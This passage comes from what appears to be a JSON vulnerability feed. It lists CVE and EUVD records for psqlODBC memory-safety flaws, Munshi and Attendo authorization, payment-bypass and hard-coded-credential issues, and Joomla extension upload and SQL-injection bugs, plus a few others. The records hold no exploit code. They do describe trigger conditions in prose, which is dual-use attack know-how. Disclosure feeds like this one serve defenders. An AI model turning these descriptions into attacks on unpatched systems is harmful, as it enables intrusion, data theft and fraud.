target of the last INSERT when the driver rewrites SELECT @@IDENTITY. In the @@IDENTITY rewrite, a column name sent by the server can also write one byte past the buffer. The bytes written past the buffer are a double quote and a NUL. An application that forwards untrusted SQL text to the driver exposes its process to stack corruption. Versions before psqlODBC 18.00.0006 are affected.","cvss":5.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-285r-84w3-xcxv"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:03","euvd":{"id":"EUVD-2026-115376","description":"When psqlODBC quotes a schema or table name into a 128-byte stack buffer, its length check lets it write up to two bytes past the end of the buffer for a long name. The names come from the application's SQL text: the table of a statement the driver parses to describe its columns, and the target of the last INSERT when the driver rewrites SELECT @@IDENTITY. In the @@IDENTITY rewrite, a column name sent by the server can also write one byte past the buffer. The bytes written past the buffer are a double quote and a NUL. An application that forwards untrusted SQL text to the driver exposes its process to stack corruption. Versions before psqlODBC 18.00.0006 are affected.","published_time":"2026-11-02T19:09:12","cvss":5.9,"cvss_version":"3.1","epss":0.0,"assigner":"PostgreSQL","references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-285r-84w3-xcxv"],"products":["psqlODBC"],"vendors":["PostgreSQL"]},"ghsa":null},{"cve_id":"CVE-2026-120064","summary":"Several psqlODBC entry points use an application-supplied column number or row index as an array index without validating it. SQLBindCol with a column number above 32767 wraps the binding count negative and a later copy runs off the array. A negative SQL_DESC_COUNT on an application row descriptor unbinds columns at negative indexes. SQLColAttribute with a very large column number uses a negative index. SQLSetPos(SQL_ADD) does not check the row number against the rowset size. An application that forwards untrusted column or row numbers exposes its process to out-of-bounds reads and writes. Versions before psqlODBC 18.00.0006 are affected.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-7pq2-q7mj-ph8c"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:03","euvd":{"id":"EUVD-2026-115377","description":"Several psqlODBC entry points use an application-supplied column number or row index as an array index without validating it. SQLBindCol with a column number above 32767 wraps the binding count negative and a later copy runs off the array. A negative SQL_DESC_COUNT on an application row descriptor unbinds columns at negative indexes. SQLColAttribute with a very large column number uses a negative index. SQLSetPos(SQL_ADD) does not check the row number against the rowset size. An application that forwards untrusted column or row numbers exposes its process to out-of-bounds reads and writes. Versions before psqlODBC 18.00.0006 are affected.","published_time":"2026-11-02T19:09:13","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"PostgreSQL","references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-7pq2-q7mj-ph8c"],"products":["psqlODBC"],"vendors":["PostgreSQL"]},"ghsa":null},{"cve_id":"CVE-2026-120065","summary":"For an updatable cursor over a table without OIDs that has an auto-increment int4 column, psqlODBC uses that column to identify rows. It places the column's name, as reported by the server, between double quotes in its keyset queries and in the WHERE clause of its positioned SELECT, UPDATE, and DELETE statements, without doubling any double quote in the name. A column name that contains a double quote therefore changes the SQL that the driver runs with the application's privileges, including which rows a positioned UPDATE or DELETE affects. Any database user who can create a table that the application reads with an updatable cursor can choose such a name, and so can a server not trusted under current SSL settings. Versions before psqlODBC 18.00.0006 are affected.","cvss":7.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-9cg8-r57h-h6jj"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:03","euvd":{"id":"EUVD-2026-115378","description":"For an updatable cursor over a table without OIDs that has an auto-increment int4 column, psqlODBC uses that column to identify rows. It places the column's name, as reported by the server, between double quotes in its keyset queries and in the WHERE clause of its positioned SELECT, UPDATE, and DELETE statements, without doubling any double quote in the name. A column name that contains a double quote therefore changes the SQL that the driver runs with the application's privileges, including which rows a positioned UPDATE or DELETE affects. Any database user who can create a table that the application reads with an updatable cursor can choose such a name, and so can a server not trusted under current SSL settings. Versions before psqlODBC 18.00.0006 are affected.","published_time":"2026-11-02T19:09:14","cvss":7.1,"cvss_version":"3.1","epss":0.0,"assigner":"PostgreSQL","references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-9cg8-r57h-h6jj"],"products":["psqlODBC"],"vendors":["PostgreSQL"]},"ghsa":null},{"cve_id":"CVE-2026-120066","summary":"On Unix-like systems, when logging is enabled, psqlODBC creates its log files in /tmp by default, named from the program name, user name, and process ID, with the default permissions, typically world-readable, and follows symbolic links when opening them. A local user can read query text and data from another user's logs, and can place a symbolic link at the predictable path so that the driver appends log data to a file of the attacker's choosing with the victim's privileges. Versions before psqlODBC 18.00.0006 are affected.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-wj7r-6pj3-62g8"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:03","euvd":{"id":"EUVD-2026-115379","description":"On Unix-like systems, when logging is enabled, psqlODBC creates its log files in /tmp by default, named from the program name, user name, and process ID, with the default permissions, typically world-readable, and follows symbolic links when opening them. A local user can read query text and data from another user's logs, and can place a symbolic link at the predictable path so that the driver appends log data to a file of the attacker's choosing with the victim's privileges. Versions before psqlODBC 18.00.0006 are affected.","published_time":"2026-11-02T19:09:14","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"PostgreSQL","references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-wj7r-6pj3-62g8"],"products":["psqlODBC"],"vendors":["PostgreSQL"]},"ghsa":null},{"cve_id":"CVE-2026-119733","summary":"Munshi (by Petpooja) before 2026-07-07 contained a missing authorization vulnerability in its company deletion workflow at DELETE /api/companies/{company_id}, where the application fails to enforce the dedicated company_delete permission or verify company ownership. An authenticated invited sub-user with mere access to a company can exploit this flaw to perform a hard delete of the company record, causing irreversible loss of associated business data including invoices, configurations, and chat sessions.","cvss":7.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":7.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://medium.com/@TheWildEye/a-sub-user-could-delete-a-company-in-munshi-94bf92476e5c","https://www.petpooja.com/","https://www.vulncheck.com/advisories/munshi-missing-authorization-in-company-deletion-api"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:02","euvd":{"id":"EUVD-2026-115364","description":"Munshi (by Petpooja) before 2026-07-07 contained a missing authorization vulnerability in its company deletion workflow at DELETE /api/companies/{company_id}, where the application fails to enforce the dedicated company_delete permission or verify company ownership. An authenticated invited sub-user with mere access to a company can exploit this flaw to perform a hard delete of the company record, causing irreversible loss of associated business data including invoices, configurations, and chat sessions.","published_time":"2026-11-02T18:57:18","cvss":7.2,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://medium.com/@TheWildEye/a-sub-user-could-delete-a-company-in-munshi-94bf92476e5c","https://www.petpooja.com/","https://www.vulncheck.com/advisories/munshi-missing-authorization-in-company-deletion-api"],"products":["Munshi"],"vendors":["Petpooja"]},"ghsa":null},{"cve_id":"CVE-2026-119734","summary":"Munshi (by Petpooja) before 2026-06-17 contained a broken object level authorization vulnerability that allows authenticated attackers to access another user's purchase inquiry by manipulating the thread identifier in the GET /purchase-inquiry/thread/{thread-id} endpoint. Attackers can modify the thread ID to read supplier communication and quotation-related content belonging to other users, resulting in unauthorized disclosure of sensitive business information outside their access scope.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://medium.com/@TheWildEye/idor-in-munshi-changing-a-purchase-inquiry-id-exposed-another-users-thread-540323a91bf5","https://www.petpooja.com/","https://www.vulncheck.com/advisories/munshi-idor-via-purchase-inquiry-thread-endpoint"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:02","euvd":{"id":"EUVD-2026-115365","description":"Munshi (by Petpooja) before 2026-06-17 contained a broken object level authorization vulnerability that allows authenticated attackers to access another user's purchase inquiry by manipulating the thread identifier in the GET /purchase-inquiry/thread/{thread-id} endpoint. Attackers can modify the thread ID to read supplier communication and quotation-related content belonging to other users, resulting in unauthorized disclosure of sensitive business information outside their access scope.","published_time":"2026-11-02T18:58:31","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://medium.com/@TheWildEye/idor-in-munshi-changing-a-purchase-inquiry-id-exposed-another-users-thread-540323a91bf5","https://www.petpooja.com/","https://www.vulncheck.com/advisories/munshi-idor-via-purchase-inquiry-thread-endpoint"],"products":["Munshi"],"vendors":["Petpooja"]},"ghsa":null},{"cve_id":"CVE-2026-119735","summary":"Munshi (by Petpooja) before 2026-07-13 contained a stored cross-site scripting vulnerability that allows authenticated users to inject malicious markup through item descriptions or messages submitted in the Purchase Inquiry thread (/purchase-inquiry/thread/{thread-id}), which is assigned to innerHTML during rendering before text cleaning completes. Attackers can store a payload that executes in the browser of another user who opens the affected thread, achieving JavaScript execution and full-page defacement that re-triggers whenever the thread is reopened.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.4,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://medium.com/@TheWildEye/stored-xss-in-munshi-a-purchase-inquiry-message-could-rewrite-the-page-6b8ef14f9999","https://www.petpooja.com/","https://www.vulncheck.com/advisories/munshi-xss-via-purchase-inquiry-thread-rendering"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:02","euvd":{"id":"EUVD-2026-115366","description":"Munshi (by Petpooja) before 2026-07-13 contained a stored cross-site scripting vulnerability that allows authenticated users to inject malicious markup through item descriptions or messages submitted in the Purchase Inquiry thread (/purchase-inquiry/thread/{thread-id}), which is assigned to innerHTML during rendering before text cleaning completes. Attackers can store a payload that executes in the browser of another user who opens the affected thread, achieving JavaScript execution and full-page defacement that re-triggers whenever the thread is reopened.","published_time":"2026-11-02T19:00:05","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://medium.com/@TheWildEye/stored-xss-in-munshi-a-purchase-inquiry-message-could-rewrite-the-page-6b8ef14f9999","https://www.petpooja.com/","https://www.vulncheck.com/advisories/munshi-xss-via-purchase-inquiry-thread-rendering"],"products":["Munshi"],"vendors":["Petpooja"]},"ghsa":null},{"cve_id":"CVE-2026-120057","summary":"psqlODBC copies the reply to a large-object read (loread) into the application's buffer using the length sent by the server, without comparing it to the buffer size. A server not trusted under current SSL settings, or a man-in-the-middle, can return more bytes than the buffer holds and overwrite adjacent memory in the client process with server-chosen bytes. Fetching any large-object column is sufficient to trigger it. Versions before psqlODBC 18.00.0006 are affected.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-qhmr-5339-q33r"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:02","euvd":{"id":"EUVD-2026-115370","description":"psqlODBC copies the reply to a large-object read (loread) into the application's buffer using the length sent by the server, without comparing it to the buffer size. A server not trusted under current SSL settings, or a man-in-the-middle, can return more bytes than the buffer holds and overwrite adjacent memory in the client process with server-chosen bytes. Fetching any large-object column is sufficient to trigger it. Versions before psqlODBC 18.00.0006 are affected.","published_time":"2026-11-02T19:09:09","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"PostgreSQL","references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-qhmr-5339-q33r"],"products":["psqlODBC"],"vendors":["PostgreSQL"]},"ghsa":null},{"cve_id":"CVE-2026-120058","summary":"psqlODBC sizes its row cache from the column count of a cursor's first result, but recomputes the column count from each later FETCH reply without checking that it matches. A server not trusted under current SSL settings can answer a later FETCH with more columns and make the driver write tuple records past the end of the heap allocation. A keyset reply with fewer columns than the key fields also underflows the unsigned field count. This is reachable with UseDeclareFetch enabled. Versions before psqlODBC 18.00.0006 are affected.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-6rmx-9q62-4w6m"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:02","euvd":{"id":"EUVD-2026-115371","description":"psqlODBC sizes its row cache from the column count of a cursor's first result, but recomputes the column count from each later FETCH reply without checking that it matches. A server not trusted under current SSL settings can answer a later FETCH with more columns and make the driver write tuple records past the end of the heap allocation. A keyset reply with fewer columns than the key fields also underflows the unsigned field count. This is reachable with UseDeclareFetch enabled. Versions before psqlODBC 18.00.0006 are affected.","published_time":"2026-11-02T19:09:09","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"PostgreSQL","references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-6rmx-9q62-4w6m"],"products":["psqlODBC"],"vendors":["PostgreSQL"]},"ghsa":null},{"cve_id":"CVE-2026-120059","summary":"For an updatable cursor over a table without OIDs that has an auto-increment int4 column, psqlODBC places that column's name, as reported by the server, into a printf-style format string. It later expands that string with one argument while it builds the WHERE clause of its positioned SELECT, UPDATE, and DELETE statements. A column name that contains format directives makes the driver read unrelated memory, which can crash the application or copy client memory into query text sent to the server. The name can come from a server not trusted under current SSL settings, or from any database user who can create a table that the application reads with an updatable cursor. Versions before psqlODBC 18.00.0006 are affected.","cvss":6.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-44rq-72jh-x2h8"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:02","euvd":{"id":"EUVD-2026-115372","description":"For an updatable cursor over a table without OIDs that has an auto-increment int4 column, psqlODBC places that column's name, as reported by the server, into a printf-style format string. It later expands that string with one argument while it builds the WHERE clause of its positioned SELECT, UPDATE, and DELETE statements. A column name that contains format directives makes the driver read unrelated memory, which can crash the application or copy client memory into query text sent to the server. The name can come from a server not trusted under current SSL settings, or from any database user who can create a table that the application reads with an updatable cursor. Versions before psqlODBC 18.00.0006 are affected.","published_time":"2026-11-02T19:09:10","cvss":6.8,"cvss_version":"3.1","epss":0.0,"assigner":"PostgreSQL","references":["https://github.com/postgresql-interfaces/psqlodbc/security/advisories/GHSA-44rq-72jh-x2h8"],"products":["psqlODBC"],"vendors":["PostgreSQL"]},"ghsa":null},{"cve_id":"CVE-2026-119736","summary":"Attendo (formerly Petpooja Payroll) Admin Android application version 3.0.13 and earlier contains a hard-coded credentials vulnerability that allows attackers to extract production MQTT broker credentials by decompiling the APK's bundled Flutter configuration assets such as production.json and device-command configuration files. Attackers can use the recovered credentials to authenticate to the production MQTT broker over TCP 1883, access messaging topics containing employee attendance records, personal identifiers, Base64-encoded photographs, device telemetry, and authentication material, and publish messages to those topics, resulting in exposure of sensitive data and potential unauthorized message injection.","cvss":8.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.2,"cvss_v4":8.8,"epss":0.00289,"ranking_epss":0.21531,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://medium.com/@TheWildEye/from-an-android-apk-to-production-mqtt-exposed-credentials-in-attendo-formerly-petpooja-payroll-eb701d23233e","https://play.google.com/store/apps/details?id=com.petpooja.attendance","https://www.vulncheck.com/advisories/attendo-admin-android-hard-coded-mqtt-broker-credentials"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:02","euvd":{"id":"EUVD-2026-115368","description":"Attendo (formerly Petpooja Payroll) Admin Android application version 3.0.13 and earlier contains a hard-coded credentials vulnerability that allows attackers to extract production MQTT broker credentials by decompiling the APK's bundled Flutter configuration assets such as production.json and device-command configuration files. Attackers can use the recovered credentials to authenticate to the production MQTT broker over TCP 1883, access messaging topics containing employee attendance records, personal identifiers, Base64-encoded photographs, device telemetry, and authentication material, and publish messages to those topics, resulting in exposure of sensitive data and potential unauthorized message injection.","published_time":"2026-11-02T19:02:59","cvss":8.8,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://medium.com/@TheWildEye/from-an-android-apk-to-production-mqtt-exposed-credentials-in-attendo-formerly-petpooja-payroll-eb701d23233e","https://play.google.com/store/apps/details?id=com.petpooja.attendance","https://www.vulncheck.com/advisories/attendo-admin-android-hard-coded-mqtt-broker-credentials"],"products":["Attendo (formerly Petpooja Payroll)"],"vendors":["Petpooja"]},"ghsa":null},{"cve_id":"CVE-2026-119731","summary":"Munshi (by Petpooja) before 2026-06-30 contained a payment bypass vulnerability in its subscription payment webhook at POST /api/payment/order/webhook, which lacks webhook authentication, cryptographic signature verification, source validation, and independent server-side confirmation with the payment provider. A remote, unauthenticated attacker can submit a forged payment-success notification referencing an order obtained from the payment-status redirect URL, causing the backend to mark the subscription as paid/active and granting paid access without an actual successful payment.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://medium.com/@TheWildEye/payment-bypass-in-munshi-forging-a-phonepe-webhook-to-activate-an-unpaid-subscription-ce0806829fa4","https://www.petpooja.com/","https://www.vulncheck.com/advisories/munshi-payment-bypass-via-unauthenticated-webhook-endpoint"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:01","euvd":{"id":"EUVD-2026-115362","description":"Munshi (by Petpooja) before 2026-06-30 contained a payment bypass vulnerability in its subscription payment webhook at POST /api/payment/order/webhook, which lacks webhook authentication, cryptographic signature verification, source validation, and independent server-side confirmation with the payment provider. A remote, unauthenticated attacker can submit a forged payment-success notification referencing an order obtained from the payment-status redirect URL, causing the backend to mark the subscription as paid/active and granting paid access without an actual successful payment.","published_time":"2026-11-02T18:54:28","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://medium.com/@TheWildEye/payment-bypass-in-munshi-forging-a-phonepe-webhook-to-activate-an-unpaid-subscription-ce0806829fa4","https://www.petpooja.com/","https://www.vulncheck.com/advisories/munshi-payment-bypass-via-unauthenticated-webhook-endpoint"],"products":["Munshi"],"vendors":["Petpooja"]},"ghsa":null},{"cve_id":"CVE-2026-119732","summary":"Munshi (by Petpooja) before 2026-07-28 contained a broken object level authorization vulnerability that allows authenticated sub-users to delete invoices belonging to the tenant owner by exploiting the DELETE /api/invoice/{invoice_id} and POST /api/invoices/bulk-delete endpoints, which only verify tenant membership without enforcing object-level ownership or permission checks. Attackers can invoke single or bulk deletion requests with arbitrary invoice identifiers to delete invoices they do not own, resulting in unauthorized data loss.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":7.1,"epss":0.00213,"ranking_epss":0.11677,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://medium.com/@TheWildEye/bola-in-munshi-sub-users-could-delete-the-tenant-owners-invoices-008f4331c339","https://www.petpooja.com/","https://www.vulncheck.com/advisories/munshi-broken-object-level-authorization-via-invoice-deletion-api"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:01","euvd":{"id":"EUVD-2026-115363","description":"Munshi (by Petpooja) before 2026-07-28 contained a broken object level authorization vulnerability that allows authenticated sub-users to delete invoices belonging to the tenant owner by exploiting the DELETE /api/invoice/{invoice_id} and POST /api/invoices/bulk-delete endpoints, which only verify tenant membership without enforcing object-level ownership or permission checks. Attackers can invoke single or bulk deletion requests with arbitrary invoice identifiers to delete invoices they do not own, resulting in unauthorized data loss.","published_time":"2026-11-02T18:56:12","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://medium.com/@TheWildEye/bola-in-munshi-sub-users-could-delete-the-tenant-owners-invoices-008f4331c339","https://www.petpooja.com/","https://www.vulncheck.com/advisories/munshi-broken-object-level-authorization-via-invoice-deletion-api"],"products":["Munshi"],"vendors":["Petpooja"]},"ghsa":null},{"cve_id":"CVE-2026-117127","summary":"Directory Traversal vulnerability in Gleez GleezCMS v.1.2.0 allows a remote attacker to obtain sensitive information via the action_serve function in media.php","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/hackerx-sk/ac89e49b001402db362414946985ee05","https://github.com/gleez/cms","https://github.com/gleez/cms/blob/master/modules/gleez/classes/controller/media.php","https://gleezcms.org"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:00","euvd":{"id":"EUVD-2026-115381","description":"Directory Traversal vulnerability in Gleez GleezCMS v.1.2.0 allows a remote attacker to obtain sensitive information via the action_serve function in media.php","published_time":"2026-11-02T00:00:00","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"mitre","references":["https://github.com/gleez/cms","https://gleezcms.org","https://github.com/gleez/cms/blob/master/modules/gleez/classes/controller/media.php","https://gist.github.com/hackerx-sk/ac89e49b001402db362414946985ee05"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-117069","summary":"An integer truncation vulnerability in the NAS decoder of OpenAirInterface (OAI) CN5G AMF v2.2.1 allows an unauthenticated remote attacker to cause a denial of service (DoS) via crafted NAS Registration Requests containing a malformed IMEISV in the 5GS Mobile Identity IE. The Type6NasIe::Validate() function truncates a 32-bit length value to 16 bits, bypassing length validation and causing an out-of-bounds heap read in DecodeImeisv(), which can crash the AMF process.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":0.00233,"ranking_epss":0.14281,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/hackeryounow/1c6741be7d536bd98434ac270dbb1f60","https://github.com/openairinterface/oai-cn5g-amf/issues/16","https://github.com/openairinterface/oai-cn5g-amf/issues/16"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:18:00","euvd":{"id":"EUVD-2026-115382","description":"An integer truncation vulnerability in the NAS decoder of OpenAirInterface (OAI) CN5G AMF v2.2.1 allows an unauthenticated remote attacker to cause a denial of service (DoS) via crafted NAS Registration Requests containing a malformed IMEISV in the 5GS Mobile Identity IE. The Type6NasIe::Validate() function truncates a 32-bit length value to 16 bits, bypassing length validation and causing an out-of-bounds heap read in DecodeImeisv(), which can crash the AMF process.","published_time":"2026-11-02T00:00:00","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"mitre","references":["https://github.com/openairinterface/oai-cn5g-amf/issues/16","https://gist.github.com/hackeryounow/1c6741be7d536bd98434ac270dbb1f60"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-105605","summary":"Joomla Extension - dj-extensions.com - IDOR vulnerability allowing cross-account ad access in DJ-Classifieds < 3.11.3 - A “duplicate my ad” convenience feature on the new-ad form (site/models/additem.php) loaded an existing advert by its raw numeric ID with no check that the ad belonged to the requesting user, and no check of whether it was published, blocked, or still a pending draft. Any logged-in user, regardless of role, could request the new-ad form with another ad’s ID and have that ad’s full content, including the seller’s phone number, address, email, and price, rendered into the response, even for ads that had never been published. Advert IDs are small sequential integers.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://dj-extensions.com/dj-classifieds"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:17:50","euvd":{"id":"EUVD-2026-115360","description":"Joomla Extension - dj-extensions.com - IDOR vulnerability allowing cross-account ad access in DJ-Classifieds < 3.11.3 - A “duplicate my ad” convenience feature on the new-ad form (site/models/additem.php) loaded an existing advert by its raw numeric ID with no check that the ad belonged to the requesting user, and no check of whether it was published, blocked, or still a pending draft. Any logged-in user, regardless of role, could request the new-ad form with another ad’s ID and have that ad’s full content, including the seller’s phone number, address, email, and price, rendered into the response, even for ads that had never been published. Advert IDs are small sequential integers.","published_time":"2026-11-02T18:28:53","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"Joomla","references":["https://dj-extensions.com/dj-classifieds"],"products":["DJ-Classifieds extension for Joomla"],"vendors":["dj-extensions.com"]},"ghsa":null},{"cve_id":"CVE-2026-105606","summary":"Joomla Extension - joomlaboat.com - Unauthenticated arbitrary file upload in Custom Tables < 3.7.8 - An unauthenticated attacker can upload a polyglot file with an attacker-controlled extension to the web-accessible tmp directory of any Joomla site that exposes a public Custom Tables submission form, and the stored path is disclosed in the response. By default the uploaded file is served as static content, so the primary impact is an unauthenticated arbitrary file write to a web-accessible directory, which allows hosting of attacker-controlled content (for example phishing or malware pages) under the victim's domain.","cvss":9.5,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":9.5,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://joomlaboat.com"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:17:50","euvd":{"id":"EUVD-2026-115367","description":"Joomla Extension - joomlaboat.com - Unauthenticated arbitrary file upload in Custom Tables < 3.7.8 - An unauthenticated attacker can upload a polyglot file with an attacker-controlled extension to the web-accessible tmp directory of any Joomla site that exposes a public Custom Tables submission form, and the stored path is disclosed in the response. By default the uploaded file is served as static content, so the primary impact is an unauthenticated arbitrary file write to a web-accessible directory, which allows hosting of attacker-controlled content (for example phishing or malware pages) under the victim's domain.","published_time":"2026-11-02T19:01:44","cvss":9.5,"cvss_version":"4.0","epss":0.0,"assigner":"Joomla","references":["https://joomlaboat.com"],"products":["Custom Tables extension for Joomla"],"vendors":["joomlaboat.com"]},"ghsa":null},{"cve_id":"CVE-2026-105603","summary":"Joomla Extension - dj-extensions.com - Authenticated arbitrary file upload in DJ-Classifieds < 3.11.3 - The Joomla extension DJ-Classifieds is vulnerable to an unprivileged file upload, leading to full RCE.","cvss":9.4,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":9.4,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://dj-extensions.com/dj-classifieds"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:17:49","euvd":{"id":"EUVD-2026-115358","description":"Joomla Extension - dj-extensions.com - Authenticated arbitrary file upload in DJ-Classifieds < 3.11.3 - The Joomla extension DJ-Classifieds is vulnerable to an unprivileged file upload, leading to full RCE.","published_time":"2026-11-02T18:25:29","cvss":9.4,"cvss_version":"4.0","epss":0.0,"assigner":"Joomla","references":["https://dj-extensions.com/dj-classifieds"],"products":["DJ-Classifieds extension for Joomla"],"vendors":["dj-extensions.com"]},"ghsa":null},{"cve_id":"CVE-2026-105604","summary":"Joomla Extension - dj-extensions.com - Unauthenticated SQL injection in DJ-Classifieds < 3.11.3 - The Joomla extension DJ-Classifieds is vulnerable to an unauthenticated SQL injection vector in the frontend search.","cvss":9.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":9.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://dj-extensions.com/dj-classifieds"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T19:17:49","euvd":{"id":"EUVD-2026-115359","description":"Joomla Extension - dj-extensions.com - Unauthenticated SQL injection in DJ-Classifieds < 3.11.3 - The Joomla extension DJ-Classifieds is vulnerable to an unauthenticated SQL injection vector in the frontend search.","published_time":"2026-11-02T18:27:14","cvss":9.3,"cvss_version":"4.0","epss":0.0,"assigner":"Joomla","references":["https://dj-extensions.com/dj-classifieds"],"products":["DJ-Classifieds extension for Joomla"],"vendors":["dj-extensions.com"]},"ghsa":null},{"cve_id":"CVE-2026-120627","summary":"The Private Internet Access Extension for Firefox contains an unguarded onAuthRequired authentication handler, leading to leakage of PIA proxy credentials when a user visits any malicious website that issues a Basic auth challenge. This issue was fixed in version 3.2.5, but reintroduced in later versions.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://addons.mozilla.org/en-US/firefox/addon/private-internet-access-ext/","https://github.com/Rexyysilent/PI-ay-ay-disclosure"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T18:18:52","euvd":{"id":"EUVD-2026-115353","description":"The Private Internet Access Extension for Firefox contains an unguarded onAuthRequired authentication handler, leading to leakage of PIA proxy credentials when a user visits any malicious website that issues a Basic auth challenge. This issue was fixed in version 3.2.5, but reintroduced in later versions.","published_time":"2026-11-02T17:32:34","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"certcc","references":["https://addons.mozilla.org/en-US/firefox/addon/private-internet-access-ext/","https://github.com/Rexyysilent/PI-ay-ay-disclosure"],"products":["Firefox extension"],"vendors":["Private Internet 